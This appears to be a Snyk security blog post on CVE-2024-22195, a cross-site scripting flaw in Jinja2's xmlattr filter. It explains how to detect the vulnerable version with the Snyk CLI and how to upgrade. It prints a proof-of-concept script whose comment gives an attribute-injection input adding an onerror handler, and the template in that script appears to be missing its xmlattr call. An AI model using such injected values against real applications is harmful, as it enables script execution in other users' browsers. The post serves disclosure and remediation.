On January 11th, 2024, a significant security vulnerability was disclosed in Jinja2, a widely used Python templating library. Identified as CVE-2024-22195, this cross-site scripting (XSS) vulnerability has raised concerns due to its impact on numerous projects. Jinja2 boasts over 33 million weekly downloads, nearly 10,000 GitHub stars, and over 90,000 dependent projects.
The vulnerability affects all versions prior to 3.1.3, with the patched version 3.1.3 being the only safe option. Notably, the most downloaded version, 3.1.2, remains vulnerable and widely used.
How do I check if my project is using a vulnerable version of Jinja2?
You can check the version of Jinja2 in your project by looking at the requirements.txt file or by running pip list | grep Jinja2
in your project's virtual environment.
Understanding Jinja2 usage in Python development
Jinja2's popularity stems from its ability to create dynamic HTML templates using Python-like syntax. It offers features like template inheritance, HTML auto-escaping to prevent XSS from untrusted input, and internationalization support.
Developers typically install it via PyPI using the command pip install Jinja2
. An example usage in a project might look like this:
{% extends "base.html" %}
{% block title %}Members{% endblock %}
{% block content %}
{% for user in users %}
* [{{ user.username }}]({{ user.url }})
{% endfor %}
{% endblock %}
Details of the XSS vulnerability
CVE-2024-22195 arises from the xmlattr
filter in Jinja2 when keys containing spaces are used, based on user input. This flaw allows attackers to inject arbitrary HTML attributes into templates, circumventing the auto-escaping mechanism and potentially leading to the execution of untrusted scripts in a user's browser.
Following is a complete proof-of-concept reproduction of the cross-site scripting vulnerability in Jinja2, courtesy of Calum Hutton from the Snyk security research team, who disclosed this vulnerability:
import sys
from jinja2 import Template
tmpl = Template(u'''\
{{ title|escape }}
''')
if __name__ == '__main__':
if len(sys.argv) < 2:
print(f'% python {sys.argv[0]} ')
sys.exit(1)
key = sys.argv[1]
# Could be used to bypass blacklist validation, i.e with the below input we can overwrite
# the src attribute and add an onerror handler:
# % python j2\_xmlattr.py "src=1 onerror=alert(1) class"
if key.startswith('on') or key in ('src',):
print(f'Invalid key: {key}')
sys.exit(2)
data = {
key: 'xxx',
'src': 'https://jinja.palletsprojects.com/en/3.0.x/\_static/jinja-logo-sidebar.png',
'alt': 'My image'
}
print(tmpl.render(
title='Jinja2 xmlattr PoC',
dict\_var=data
))
Reproducing the Jinja2 CVE-2024-22195 XSS vulnerability
Initiate a new Python 3 virtual environment:
python3 -m venv myenv
source myenv/bin/activate
Note: if you are new to managing different Python development environments, I recommend taking a few minutes to read about mastering Python virtual environments: a complete guide to venv, Docker and securing your code.
Then, create the Python dependency file requirements.txt
that the pip
package manager uses and add common libraries from the PyPI registry:
Jinja2==3.1.2
Flask
Werkzeug
Requests
SQLAlchemy
Flask-WTF
Pillow
Flask-SQLAlchemy
Flask-Migrate
Now, we can use Snyk to scan the project and see if any of our Python dependencies is vulnerable. If you’re on a macOS, install Snyk first through brew, which is the quickest way to get started:
brew tap snyk/tap
brew install snyk
Note: for other operating systems like Windows or Linux, view install instructions on the Snyk User Docs.
You need to authenticate to snyk, so run snyk auth
and follow the instructions to log in through the browser, and the Snyk CLI will automatically obtain the API credentials for you.
We’re now ready to scan our Python project. Run the following:
snyk test
You’ll be presented with Snyk findings:
Testing /private/tmp/py1...
Tested 23 dependencies for known issues, found 1 issue, 6 vulnerable paths.
Issues to fix by upgrading dependencies:
Upgrade jinja2@3.1.2 to jinja2@3.1.3 to fix
✗ Cross-site Scripting (XSS) (new) [Medium Severity][https://security.snyk.io/vuln/SNYK-PYTHON-JINJA2-6150717] in jinja2@3.1.2
introduced by jinja2@3.1.2 and 5 other path(s)
Organization: liran.tal
Package manager: pip
Target file: requirements.txt
Project name: py1
Open source: no
Project path: /private/tmp/py1
Licenses: enabled
Tip: Try `snyk fix` to address these issues.`snyk fix` is a new CLI command in that aims to automatically apply the recommended updates for supported ecosystems.
See documentation on how to enable this beta feature: https://docs.snyk.io/snyk-cli/fix-vulnerabilities-from-the-cli/automatic-remediation-with-snyk-fix#enabling-snyk-fix
Snyk successfully detected the vulnerable Jinja2 version used in our project (version 3.1.2), and recommended a fix from the CLI.
This is a great opportunity to let you know you can also use a Snyk extension in your IDE and scan your own Python code and Python containerized applications, on top of scanning 3rd-party dependencies from PyPI.
Is the Jinja2 XSS vulnerability easy to exploit?
The complexity of exploiting this vulnerability varies based on the specific application and its implementation of Jinja2. However, due to the nature of XSS vulnerabilities, it's advisable to treat it with high priority.
Mitigating Jinja2 vulnerability and continuous security monitoring
Developers are urged to upgrade to Jinja2 version 3.1.3 immediately to address this vulnerability.
Additionally, using tools like Snyk can be vital for ongoing vulnerability monitoring. Snyk not only detects vulnerable code and libraries through its IDE extension but is also crucial in scanning containerized applications with Docker that bundle this vulnerable dependency.
How can I protect my project from the Jinja2 XSS vulnerability?
Update Jinja2 to version 3.1.3 or newer. You can do this by modifying your requirements.txt file to Jinja2>=3.1.3 and running pip install -U -r requirements.txt
.
Developer security resources and what’s next?
The discovery of CVE-2024-22195 in Jinja2 serves as a reminder of the importance of keeping dependencies up-to-date and utilizing tools like Snyk for continuous security monitoring. By staying informed and proactive, developers can safeguard their projects against such vulnerabilities.
Learn about XSS in Python with Snyk Learn: XSS in Python
Python security best practices cheat sheet: Python Security Best Practices
Mastering Python virtual environments: Python Virtual Environments
Best practices for containerizing Python applications with Docker: Containerizing Python with Docker
Are there any other recommended security practices for Jinja2 users?
Apart from keeping Jinja2 up-to-date, users should follow general security best practices like validating and sanitizing all user inputs, implementing content security policies, and conducting regular security audits.